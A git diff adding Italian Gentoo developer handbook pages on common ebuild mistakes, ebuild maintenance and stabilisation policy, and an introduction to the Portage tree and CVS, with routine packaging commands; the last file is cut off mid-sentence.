+<abstract>
+Questa sezione delinea la politica che ogni ebuild del Portage deve seguire.
+</abstract>
+<include href="hb-policy-ebuild.xml"/>
+</chapter>
+
+<chapter>
+<title>Politica di Etiquette</title>
+<abstract>
+Questa sezione delinea la politica di etiquette per gli sviluppatori Gentoo.
+</abstract>
+<include href="hb-policy-etiquette.xml"/>
+</chapter>
+</part>
+
+<!--
+<part>
+<title>Appendix 1: Management</title>
+<abstract>
+This part covers managerial policies.
+</abstract>
+</part>
+-->
+
+</book>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-common-mistakes.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-common-mistakes.xml
new file mode 100644
index 00000000..03539c16
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-common-mistakes.xml
@@ -0,0 +1,430 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-common-mistakes.xml,v 1.6 2008/03/06 12:46:05 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/ebuild-mistakes.xml :: R1.4.
+-->
+
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>Errori comuni nella scrittura degli ebuild</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Viene presentata una lista di errori comuni frequentemente riscontrabili negli
+ebuild proposti dagli utenti. Assicurarsi che l'ebuild che si vuole sottoporre
+non ne contenga nessuno. Prima di sottoporre un qualsiasi ebuild, assicurarsi di
+avere letto la <uri link="?part=3&amp;chap=1">Politica per gli Ebuild</uri> e
+l'<uri link="?part=2&amp;chap=1">HOWTO sugli Ebuild</uri>. Inoltre, assicurarsi
+anche di avere letto un numero sufficiente (esempio: più di uno o due) di ebuild
+contenuti nel portage tree per avere la certezza di conoscere lo stile con cui
+sono stati scritti.
+</p>
+
+
+<p>
+Può anche essere utile leggere un po' di ebuild che usano le eclass e capire come
+usarle leggendo l'<uri link="?part=2&amp;chap=2">HOWTO sulle Eclass</uri>.
+Infine, leggere attentamente la guida <uri
+link="/doc/it/ebuild-submit.xml">Contribuire agli Ebuild</uri> prima di
+sottoporre il/i proprio/i ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Intestazioni (header) mancanti/non valide/corrotte</title>
+<body>
+
+<p>
+Quando si propone un ebuild, l'intestazione (header) deve essere
+<e>esattamente</e> uguale a quella presente in
+<path>/usr/portage/skel.ebuild</path>. La cosa più importante è di non
+modificarla in nessun modo e di assicurarsi che la linea <c>&#36;Header:
+&#36;</c> sia intatta.
+</p>
+
+<p>
+Le prime tre linee <e>devono</e> apparire così:
+</p>
+
+<pre caption="Intestazione valido">
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# &#36;Header: &#36;
+</pre>
+
+<p>
+Solo se si sta proponendo un ebuild patchato o con un incremento di versione,
+non c'è la necessità di modificare la linea <c>&#36;Header: &#36;</c>. Ma la
+linea deve essere comunque presente. Quando l'ebuild viene inserito nel CVS,
+questa intestazione verrà modificata con le appropriate informazioni di versione
+e data. In questo modo non è necessario modificarla manualmente.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Mancanza di IUSE</title>
+<body>
+
+<p>
+Da sempre la mancanza più comune è la variabile IUSE. Bisogna (come spiega
+l'<uri link="?part=2&amp;chap=1">HOWTO sugli Ebuild</uri>) includere la
+variabile IUSE anche se non ci sono flag USE utilizzate. Se non ci sono flag USE
+supportate, basta aggiungere quanto segue:
+</p>
+
+<pre caption="IUSE vuota">
+IUSE=""
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>P, PV, PN e PF ridefiniti</title>
+<body>
+
+<p>
+Non bisogna mai ridefinire queste variabili. Usare sempre MY_P, MY_PN, MY_PV,
+P0, ecc. Per maggiori informazioni guardare in portage altri ebuild che compiono
+questa operazione. La maggior parte degli ebuild usa l'"Espansione dei
+Parametri" di bash, per questo motivo si consiglia di leggere le pagine man di
+bash per capire come funziona l'"Espansione dei Parametri".
+</p>
+
+<p>
+A tal proposito, se si trova un pacchetto che effettua una ridefinizione, non
+copiarlo, ma aprire un bug per il relativo ebuild.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Includere numeri di versione in SRC_URI e S</title>
+<body>
+
+<p>
+Cercare di non includere il numero della versione in SRC_USI e S, ma di
+utilizzare sempre ${PV} o ${P}. Ciò semplifica il mantenimento dell'ebuild. Se
+un numero di versione non è consistente con il tarball/sorgente, allora usare
+MY_P. Un esempio è dev-python/pyopenal che recupera un tarball chiamato
+PyOpenAL, perciò la ridefinizione avviene in questo modo:
+</p>
+
+<pre caption="Esempio ridefinizione di versione">
+MY_P=${P/pyopenal/PyOpenAL}
+SRC_URI="http://oomadness.tuxfamily.org/downloads/${MY_P}.tar.gz"
+S=${WORKDIR}/${MY_P}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND contiene errori di sintassi</title>
+<body>
+
+<p>
+I campi DEPEND e RDEPEND degli ebuild proposti dagli utenti solitamente
+contengono diversi errori. Questi sono i punti più importanti da seguire durante
+la scrittura della parte delle dipendenze.
+</p>
+
+<ul>
+  <li>
+    <e>Includere sempre la CATEGORIA.</e><br /> Per esempio, usare
+    <c>&gt;=x11-libs/gtk+-2</c> e non <c>&gt;=gtk+-2</c>.
+  </li>
+  <li>
+    <e>Non mettere nessun asterisco (*) per dipendenze di tipo &gt;=.</e><br />
+    Per esempio, dovrebbe essere <c>&gt;=x11-libs/gtk+-2</c> invece di
+    <c>&gt;=x11-libs/gtk+-2*</c>.
+  </li>
+  <li>
+    <e>Specificare GTK. Usare sempre =x11-libs/gtk+-1.2* per applicazioni
+    GTK+1.</e>
+  </li>
+  <li>
+    <e>Mai mettere come dipendenza un meta-pacchetto.</e><br /> Per cui non
+    dipendere da gnome-base/gnome, ma dipendere sempre da una libreria
+    specifica, come libgnome.
+  </li>
+  <li>
+    <e>Una dipendenza per riga.</e><br /> Non mettere dipendenze multiple su una
+    stessa riga. Risultano difficili da leggere e da seguire.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>DEPEND è incompleto</title>
+<body>
+
+<p>
+Questo è un altro errore molto comune. Viene proposto un ebuild apparentemente
+"funzionante" senza controllare se le dipendenze sono corrette. Vengono proposti
+alcuni trucchi per trovare le dipendenze corrette.
+</p>
+
+<ul>
+  <li>
+    <e>Guardare in configure.in o configure.ac</e><br /> Controllare qui le
+    eventuali verifiche dei pacchetti. Le cose da guardare sono i controlli
+    di pkg-config o le funzioni AM_* che controllano una specifica versione.
+  </li>
+  <li>
+    <e>Guardare i file .spec</e><br /> Una buona indicazione è guardare nei file
+    .spec inclusi per le relative dipendenze. Tuttavia non farvi completamente
+    affidamento, in quanto non è detto contengano l'elenco completo e definitivo
+    delle dipendenze.
+  </li>
+  <li>
+    <e>Guardare il sito web dell'applicazione/libreria</e><br /> Controllare il
+    sito web dell'applicazione per possibili dipendenze elencate come
+    necessarie.
+  </li>
+  <li>
+    <e>Leggere gli eventuali file README e INSTALL del pacchetto</e><br /> Di
+    solito contengono utili informazioni sulla compilazione e installazione dei
+    pacchetti.
+  </li>
+  <li>
+    <e>Ricordarsi le dipendenze non binarie come pkg-config, programmi per la
+    generazione dei documenti, ecc.</e><br /> Solitamente il processo di
+    compilazione richiede dipendenze come intltool, libtool, pkg-config,
+    doxygen, scrollkeeper, gtk-doc, etc. Assicurarsi di specificarle
+    chiaramente.
+  </li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>LICENSE invalida</title>
+<body>
+
+<p>
+Un altro errore comune degli utenti quando sottopongono degli ebuild è la
+fornitura di una licenza non valida. Per esempio, <c>GPL</c> non lo è, bisogna
+specificare <c>GPL-1</c> o <c>GPL-2</c>; stessa discorso per <c>LGPL</c>.
+Assicurarsi che la licenza in uso nel campo <c>LICENSE</c> esista in
+<path>/usr/portage/licenses</path>. Un consiglio per verificare la licenza è
+controllare il file <path>COPYING</path> contenuto nell'archivio dei sorgenti.
+Se un pacchetto non specifica di usare <c>GPL-1</c> o <c>GPL-2</c>, è molto
+probabile che utilizzi <c>GPL-2</c>.
+</p>
+
+<p>
+Se la licenza per il pacchetto proposto è unica e non è presente in
+<path>/usr/portage/licenses/</path>, allora bisogna sottoporre la nuova licenza
+in un file separato.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>ARCHs non testate in KEYWORDS</title>
+<body>
+
+<p>
+Si prega di non aggiungere altre ARCH in KEYWORDS a meno che l'ebuild sia stato
+testato su questa ARCH. Inoltre tutti i nuovi ebuild dovrebbero essere marcati
+"non stabili" (es. ~x86 o qualsiasi altra architettura). Assicurarsi che le
+KEYWORDS stabili vengano marcate come <c>~</c> quando si effettua un incremento
+di versione.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>SLOT mancante</title>
+<body>
+
+<p>
+Assicurarsi che la variabile SLOT sia presente nell'ebuild. Se il suo utilizzo
+non è pianificato, non rimuoverla, ma mettere:
+</p>
+
+<pre caption="Variabile SLOT predefinita">
+SLOT="0"
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>DESCRIPTION e HOMEPAGE errate</title>
+<body>
+
+<p>
+Controllare la correttezza della variabile HOMEPAGE, in modo che conduca gli
+utenti alla pagina corretta, nel caso vogliano ricevere maggiori informazioni
+riguardo al pacchetto. Inoltre assicurarsi che DESCRIPTION non sia troppo lunga.
+Una buona descrizione descriverà la funzione principale del pacchetto in una
+sola frase.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Uso scorretto di spazi al posto di TABS (tabulazioni)</title>
+<body>
+
+<p>
+Non è divertente riformattare le linee degli ebuild a causa della mancata
+applicazione, da parte di chi ha sottoposto l'ebuild, delle linee guida sull'uso
+dei TABS al posto degli spazi. Per cui <e>si prega</e> di usare le tabulazioni!
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Spazi bianchi a fine riga</title>
+<body>
+
+<p>
+Anche l'autore di questa guida molte volte è colpevole di questo errore.
+Ricordarsi di eseguire repoman su tutti i propri ebuild in modo da ricevere
+eventuali avvisi riguardo l'esistenza di spazi inutili alla fine delle righe o
+in righe vuote.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Aggiunta di S=${WORKDIR}/${P} ridondanti</title>
+<body>
+
+<p>
+Se <c>S=${WORKDIR}/${P}</c>, allora non bisogna aggiungere questa
+inserire questa assegnazione nell'ebuild, in quanto è già implicita: aggiungerla
+solo se $S differisce da <c>${WORKDIR}/${P}</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Documentazione mancante</title>
+<body>
+
+<p>
+Se il proprio pacchetto contiene della documentazione, assicurarsi di
+installarla utilizzando <c>dodoc</c> o in <path>/usr/share/doc/${PF}</path>.
+Ricordarsi di verificare eventuali errori durante l'esecuzione di
+<c>dodoc</c>/<c>doins</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Errori comuni quando si sottopongono degli ebuild</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Si prega di sottoporre correttamente gli ebuild seguendo la guida <uri
+link="/doc/it/ebuild-submit.xml">Contribuire agli ebuild</uri> contenuta nella
+<uri link="/doc/it/index.xml">pagina della Documentazione di Gentoo Linux</uri>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Creazione di ebuild come archivi tarball</title>
+<body>
+
+<p>
+Per favore, per favore, per favore non allegare ebuild come archivi tarball.
+Allegare separatamente le patch in modo da poterle esaminare con facilità.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Ebuild in linea</title>
+<body>
+
+<p>
+Non copiare ed incollare un ebuild nel campo per i commenti di bugzilla.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Nessuna descrizione riguardo al pacchetto</title>
+<body>
+
+<p>
+Si prega di fornire delle informazioni riguardo al pacchetto, e di inserire
+l'URL con l'home page dell'applicazione, se ne esiste una.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Aggiornamenti del pacchetto senza cambiare il ChangeLog</title>
+<body>
+
+<p>
+Se si sottopone un pacchetto aggiornato, assicurarsi di spiegare quali
+cambiamenti sono stati fatti all'ebuild. Per esempio, se un pacchetto introduce
+nuove caratteristiche/opzioni e viene usata una flag USE, elencarla nel proprio
+bug. Non lasciare agli sviluppatori l'onere di andare alla ricerca di queste
+cose.
+</p>
+
+<p>
+E' saggio sottoporre le differenze (diff) dell'aggiornamento del pacchetto
+piuttosto che l'intero ebuild. Il modo migliore per generarle è:
+</p>
+
+<pre caption="Creazione di un diff">
+$ <i>diff -u some-package-0.1.0.ebuild some-package-0.2.0.ebuild &gt; ~/some-package-0.2.0.diff</i>
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Sottoporre ebuild invariati per il rilascio di una nuova versione</title>
+<body>
+
+<p>
+Se si sta sottoponendo una nuova versione di un pacchetto in portage,
+assicurarsi che l'ebuild esistente funzioni e che i cambiamenti siano
+incorporati nel nuovo ebuild (per esempio documentazione aggiuntiva). Se non ci
+sono cambiamenti necessari all'ebuild dalla precedente versione, allora non
+allegare l'ebuild. Menzionare soltanto nel report del bug che l'ebuild è stato
+copiato e ne è stato verificato il corretto funzionamento ed installazione.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Commenti e suggerimenti</title>
+<subsection>
+<body>
+
+<p>
+Commenti, correzioni e suggerimenti devono essere inviati a <mail
+link="liquidx@gentoo.org">Alastair Tse</mail>.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
+
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild-maintaining.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild-maintaining.xml
new file mode 100644
index 00000000..72dbe86f
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild-maintaining.xml
@@ -0,0 +1,307 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild-maintaining.xml,v 1.8 2010/05/24 19:50:56 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<sections>
+<version>1.0.5</version>
+<date>2008-06-01</date>
+
+<section>
+<title>Introduzione</title>
+<body>
+
+<p>
+Questa guida ha lo scopo di spiegare le routine più frequenti di manutenzione
+giornaliera per gli ebuild, così come altre manutenzioni meno frequenti che
+potrebbero non essere note agli sviluppatori.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiungere un nuovo ebuild</title>
+<body>
+
+<p>
+Quando viene aggiunto un nuovo ebuild, bisogna includere solo le <c>KEYWORDS</c>
+per le architetture su cui è stato veramente testato l'ebuild, confermando che
+funziona come deve e che le flag <c>USE</c> siano propriamente rispettare nel
+pacchetto risultante che verrà installato. Se possibile, testare l'attuale
+applicazione o libreria nel modo più completo possibile, in quanto si sarà
+responsabili per qualsiasi danneggiamento nella(e) propria(e) architettura(e).
+Dei test basilari come il controllo dell'avvio senza errori dell'applicazione
+dovrebbero essere sempre effettuati.
+</p>
+
+<p>
+Se si sta aggiungendo un ebuild sottoposto da un utente, non presupporre che
+l'utente abbia fatto il test nelle varie architetture: spesso, le variabili
+<c>KEYWORDS</c> vengono clonate tra i diversi pacchetti o generate dalla
+documentazione contenuta nei sorgenti del pacchetti, il che non significa che il
+pacchetto funzioni davvero su queste architetture.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stabilizzare gli ebuild</title>
+<body>
+
+<p>
+Solo i mantenitori delle architetture per una data architettura devono marcare i
+pacchetti stabili per quella architettura. Il mantenitore del pacchetto dovrebbe
+essere sempre contattato solo in caso ci siano ragioni per non farlo.
+Un'eccezione a questo è se si fa parte di un team per un'architettura, in questo
+caso si può marcare un pacchetto come stabile per tale architettura. Se non si
+fa parte di un team per un'architettura, consultare le linee guida riportate in
+seguito; se l'architettura che si sta cercando non risulta elencata si prega di
+consultare il relativo responsabile.
+</p>
+
+<p>
+Non bisogna <e>mai</e> stabilizzare i pacchetti per le architetture che non si
+possono testare personalmente, mandare invece un bug al team della relativa
+architettura, come <mail>sparc@gentoo.org</mail>, chiedendo di stabilizzare
+l'ebuild. Alternativamente, è possibile trovare diversi sviluppatori Gentoo in
+IRC che possono dare una mano a risolvere le proprie richieste.
+</p>
+
+<p>
+E' meglio non usare <mail>arch-maintainers@gentoo.org</mail>, ma piuttosto
+aggiungere individualmente i team dell'architettura nella lista CC del bug. In
+questo modo i team possono rimuoversi autonomamente dalla lista una volta che
+hanno terminato il proprio lavoro, dando una chiara indicazione su quali team
+devono ancora stabilizzare un pacchetto.
+</p>
+
+</body>
+</section>
+<section>
+<title>Regole per la stabilizzazione</title>
+<body>
+
+<p>
+SPARC: bisogna avere prima l'autorizzazione del responsabile dell'architettura
+(al momento Weeve). Generalmente si prevede di essere inseriti nell'alias di
+sparc per ragione di QA (ndT: Quality Assurance - garanzia di qualità), sebbene
+possano essere presi altri accordi nel caso in cui si voglia lavorare soltanto
+con un piccolo gruppo di pacchetti.
+</p>
+
+<p>
+ALPHA: i mantenitori devono contrassegnare i propri pacchetti personali ma
+devono anche informare il team Alpha se possono aiutare con i test e la
+marcatura delle KEYWORDS in modo che il team possa tenere d'occhio i possibili
+errori.
+</p>
+
+<p>
+MIPS: bisogna avere prima l'autorizzazione da uno dei sviluppatori senior di
+MIPS. Vista la moltitudine di hardware coinvolto, è in genere richiesto di
+essere inseriti in un alias mips e avere accesso a vari sistemi MIPS.
+</p>
+
+</body>
+</section>
+<section>
+<title>Aggiornare gli ebuild</title>
+<body>
+
+<p>
+Nuovi ebuild vengono inseriti raramente con keywords "<c>arch</c>" e anche se
+così non fosse, il pacchetto <e>deve</e> essere testato su qualsiasi
+architettura elencata nella variabile <c>KEYWORDS</c> del nuovo pacchetto.
+</p>
+
+<p>
+Eccezioni alla regola dell'"<c>arch</c>" sono la correzione di bug
+significativi, o correzioni di sicurezza. Se la versione precedente dell'ebuild
+contiene <c>KEYWORDS</c> che non si possono testare, allora bisogna fare il
+'downgrade': modificare tutte le keyword "<c>arch</c>" in "<c>~arch</c>". Se si
+pensa che il pacchetto non funzionerà nemmeno su "<c>~arch</c>" allora è meglio
+lasciare le cose come sono e chiedere al team in questione di effettuare il test
+sul pacchetto, tramite l'inserimento di un bug per il team della relativa
+architettura.
+</p>
+
+<p>
+Se una nuova versione introduce nuove dipendenze che non sono disponibili su
+alcune architetture, allora bisogna compilare un bug o chiedere in IRC prima di
+fare l'aggiornamento del pacchetto. Se c'è urgenza di aggiungere il pacchetto,
+per esempio per questioni di sicurezza, allora bisogna rimuovere tutte le
+<c>KEYWORDS</c> che causano problemi e mettere nella lista CC del bug i team
+delle architetture in questione. Aprire un nuovo bug all'architettura in
+questione se non ci sono già bug disponibili.
+</p>
+
+<p>
+Se non ci sono nuove dipendenze, non rimuovere le keyword se il proprio commit
+fallisce con repoman - provare un <c>cvs update</c> completo e se il problema
+persiste, fare un commit con <c>repoman -I</c> e inviare un bug all'architettura
+che ha dato problemi riportando il messaggio del commit sul CVS.
+</p>
+
+<warn>
+Quando si fa il commit, assicurarsi di citare tutti i bug nel ChangeLog e di
+fare altrettanto nel messaggio sul CVS. Questa mancanza è considerata di
+cattivo gusto e potrebbe portare a dei provvedimenti disciplinari.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Spostare gli ebuild</title>
+<body>
+
+<p>
+Lo spostamento di ebuild è un processo in due fasi:
+</p>
+
+<p>
+Per prima cosa, inserire l'ebuild nel CVS, copiandolo nella sua nuova locazione
+e facendo in commit così come spiegato in <uri
+link="?part=2&amp;chap=5#doc_chap2">Aggiungere un nuovo ebuild</uri>.
+</p>
+
+<p>
+Dopodiché cambiare tutti gli ebuild che dipendono (<c>DEPEND</c>) dal vecchio
+ebuild in modo di farli dipendere dal nuovo. Dopodiché aggiungere una voce
+al file più recente presente in <path>profiles/updates/</path> nel Portage tree
+seguendo questo formato:
+</p>
+
+<pre caption="Aggiungere una voce al file updates">
+move net-misc/fwbuilder net-firewall/fwbuilder
+</pre>
+
+<p>
+Una volta spostato, aggiungere una voce nel file più recente, contenuto in
+<path>profiles/updates/</path> nel tree di Portage, usando il seguente formato:
+</p>
+
+<pre caption="Aggiungere una voce per gli aggiornamenti">
+move net-misc/fwbuilder net-firewall/fwbuilder
+</pre>
+
+<p>
+Questo esempio sposta in modo trasparente <path>net-misc/fwbuilder</path> in
+<path>net-firewall/fwbuilder</path> se gli utenti lo hanno installato. In questo
+modo gli utenti riceveranno automaticamente gli aggiornamenti per
+<path>net-firewall/fwbuilder</path> quando saranno disponibili.
+</p>
+
+<p>
+Una volta che questa operazione è conclusa. sarà possibile rimuovere il vecchio
+pacchetto. Basta eseguire un semplice <c>cvs remove -Rf $PN</c> nella categoria
+del pacchetto ed effettuare il commit dei cambiamenti con un messaggio di commit
+significativo.
+</p>
+
+<pre caption="Rimuovere un pacchetto">
+net-misc # cvs rm -Rf fwbuilder
+cvs remove: use `cvs commit' to remove these files permanently
+net-misc # cvs ci -m "Moving net-misc/fwbuilder to net-firewall/fwbuilder."
+</pre>
+
+<note>
+CVS non può distruggere le directory: semplicemente non le ricrea se sono vuote,
+utilizzando il comando insieme al parametro <c>-P</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Rimuovere gli ebuild</title>
+<body>
+
+<p>
+Quando si rimuovono i pacchetti seguire questi passaggi:
+</p>
+
+<ol>
+  <li>
+    Assicurarsi che in Portage non vengano spezzate dipendenze a seguito della
+    rimozione del pacchetto
+  </li>
+  <li>
+    Inviare il messaggio di ultimi riti nella mailing list gentoo-dev-announce
+    e gentoo-dev
+  </li>
+  <li>Mascherare il pacchetto</li>
+  <li>Attendere 30 giorni (o oltre)</li>
+  <li>
+    Rimuoverlo da CVS a meno la motivazione della rimozione non sia più valida
+  </li>
+  <li>Rimuovere la voce in package.mask</li>
+</ol>
+
+<p>
+Per rimuovere completamente un pacchetto da CVS, eliminare qualsiasi file dalla
+directory e effettuarne il commit, CVS si arrangerà ad eliminare da sé le
+directory vuote.
+</p>
+
+<pre caption="Rimuovere un pacchetto da CVS">
+<comment>#</comment>
+<keyword>cd</keyword> app-admin
+<comment>#</comment> <keyword>cvs</keyword> rm -Rf scotty
+<comment>#</comment> <keyword>cvs</keyword> ci -m "app-admin/scotty removal (pending 21st July 2006), see #77501 for reference." scotty
+</pre>
+
+</body>
+</section>
+<section>
+<title>File che creano conflitti</title>
+<body>
+
+<p>
+Quando s'incontra un pacchetto che tenta di installare alcuni file che sono
+già forniti da un altro pacchetto (rintracciabili tramite
+<c>FEATURES=collision-protect</c> per esempio) bisogna sistemare questa
+situazione prima di poter fare il commit dell'ebuild o, se si riscontra questo
+problema con un pacchetto esistente, compilare un bug per il pacchetto (vedere
+in seguito alcune eccezioni). Le ragioni per i conflitti dei file sono critiche
+perché se "foo" fornisce il file <path>/usr/bin/example</path>, "bar" glielo
+sovrascrive, ed in seguito viene fatto l'unmerge di "bar", Portage rimuoverà
+<path>/usr/bin/example</path> corrompendo di conseguenza "foo".
+</p>
+
+<p>
+Il sistema migliore per ovviare al problema è di aggiungere una dipendenza
+bloccante ad entrambi i pacchetti che vogliono installare questo file, in modo
+tale da non poterli installare contemporaneamente. A meno che non ci siano anche
+altre ragioni per le quali quei pacchetti si blocchino l'uno con l'altro, è
+meglio evitare questo approccio, piuttosto propendere per una correzione del
+pacchetto, che può includere uno o più di questi passaggi:
+</p>
+
+<ul>
+  <li>Rendere "foo" dipendente ((R)DEPEND) da "bar".</li>
+  <li>
+    Rimuovere i file in conflitto da "foo" in <c>src_install</c> o
+    <c>pkg_preinst</c>.
+  </li>
+  <li>
+    Spostare i file in conflitto in un nuovo sottopacchetto e rendere "foo" e
+    "bar" entrambi dipendenti ((R)DEPEND) da questo pacchetto.
+  </li>
+  <li>
+    Cambiare la locazione in cui "foo" o "bar" installano i file in conflitto.
+  </li>
+</ul>
+
+<p>
+In alcuni casi i file che creano conflitti non possono veramente essere
+sistemati o non sono critici, al momento delle eccezioni conosciute sono le
+pagine man dei moduli Perl (che sovrascrivono quelle installate direttamenta da
+Perl) e i file gestiti da <c>CONFIG_PROTECT</c> (che devono ancora essere
+sistemati ma non sono critici perché Portage non li sovrascrive).
+</p>
+
+</body>
+</section>
+</sections>
\ No newline at end of file
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild.xml
new file mode 100644
index 00000000..0f77ebc8
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild.xml
@@ -0,0 +1,2059 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-ebuild.xml,v 1.19 2010/08/09 18:13:58 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- This document was last synched to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/gentoo-howto.xml :: R1.50.
+-->
+
+<sections>
+<version>1.0.5</version>
+<date>2010-07-11</date>
+
+<section>
+<title>Il Portage tree</title>
+<subsection>
+<title>Introduzione</title>
+<body>
+
+<p>
+Il portage tree si trova tipicamente in <path>/usr/portage</path> ed è
+organizzato in una struttura gerarchica consistente in directory categorizzate,
+seguite da directory specifiche per ogni pacchetto, per esempio è possibile
+trovare il file <path>util-linux-2.11y.ebuild</path> nella directory
+<path>/usr/portage/sys-apps/util-linux</path>.  Possono esserci anche altre
+versioni di <c>util-linux</c> oltre che <path>util-linux-2.11y.ebuild</path>.
+Ciò è dovuto al fatto che <e>tutti gli ebuild per un particolare pacchetto
+(indipendentemente dalla versione)</e>, condividono la stessa directory
+<path>miacategoria/miopacchetto</path> in <path>/usr/portage</path>, a meno che
+non si abbia installato un overlay di portage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Effettuare il Check Out del Portage Tree dal CVS</title>
+<body>
+
+<p>
+Se il sistema CVS non è familiare, è consigliabile leggere la <uri
+link="http://www.gentoo.org/doc/it/cvs-tutorial.xml" >Guida al CVS di Gentoo
+Linux</uri> per maggiori informazioni.
+</p>
+
+<p>
+Il Portage tree si trova nel modulo <c>gentoo-x86</c> del Gentoo Linux tree.
+Per fare il check out del modulo (circa 350 megabyte) si deve prima configurare
+CVS tramite la guida precedente, poi fare il check out del modulo
+<c>gentoo-x86</c>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Cosa (non) mettere nel Portage tree</title>
+<body>
+
+<p>
+Prima di scrivere un nuovo ebuild, controllare <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri> per verificare che non ci
+sia già un ebuild corrispondente ma non ancora inserito nel portage tree. Andare
+su <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>, scegliere query e
+selezionare "Advanced Search" (Ricerca Avanzata); scegliere <e>Gentoo Linux</e>
+come prodotto e come componente <e>ebuilds</e>, nel campo ricerca mettere il
+nome dell'ebuild e come status scegliere NEW, ASSIGNED, REOPENED e RESOLVED
+(RESOLVED è importante), dopodiché inviare la query. Le persone pigre possono
+cliccare <uri
+link="http://bugs.gentoo.org/query.cgi?product=Gentoo%20Linux&amp;component=Ebuilds&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED">qui</uri>.
+</p>
+
+<p>
+Generalmente, il Portage tree deve essere usato solo per contenere i file
+<path>.ebuild</path> insieme ad altri file relativamente piccoli, come patch o
+esempi di configurazione. Questi tipi di file devono essere posizionati nella
+directory <path>/usr/portage/categoria/pacchetto/files</path> per tenere pulita
+la directory <path>categoria/pacchetto</path>. Le eccezioni a questa regola sono
+per patch di grandi dimensioni (lo si raccomanda per patch più grandi di 20KB)
+che dovrebbero essere messe nei mirror Gentoo in modo che la gente non sprechi
+eccessivamente la larghezza di banda e lo spazio del disco fisso. Inoltre non
+si dovrebbero aggiungere al CVS del Portage Tree dei file binari (non ASCII). Se
+lo si deve fare in un altro ramo del CVS, per esempio, volendo aggiungere una
+piccola immagine PNG per qualsiasi ragione, assicurarsi di aggiungerla a CVS
+usando l'opzione <c>-kb</c> nel modo seguente:
+</p>
+
+<pre caption="Aggiungere file binari al CVS">
+# <i>cvs add -kb miafoto.png</i>
+</pre>
+
+<p>
+L'opzione <c>-kb</c> dice a CVS che <path>miafoto.png</path> è un file
+binario e deve essere trattato in maniera particolare. Per esempio, fondere le
+differenze di due versioni diverse di questo file, non deve essere reso
+possibile, per ovvie ragioni. Inoltre, riguardo alle fusioni di differenze,
+tutte le patch che si aggiungono a Portage devono necessariamente <e>non</e>
+essere compresse. Questo permette a CVS di fondere i cambiamenti e informare
+correttamente gli sviluppatori in caso di conflitti.
+</p>
+
+<p>
+È importante ricordare che i pacchetti di cui si effettua il commit devono
+essere <e>predisposti</e> <e>a funzionare in modo trasparente</e> per gli utenti
+finali quando vengono marcati stabili. Assicurarsi di avere un buon insieme di
+impostazioni predefinite che soddisfino la maggior parte dei sistemi e degli
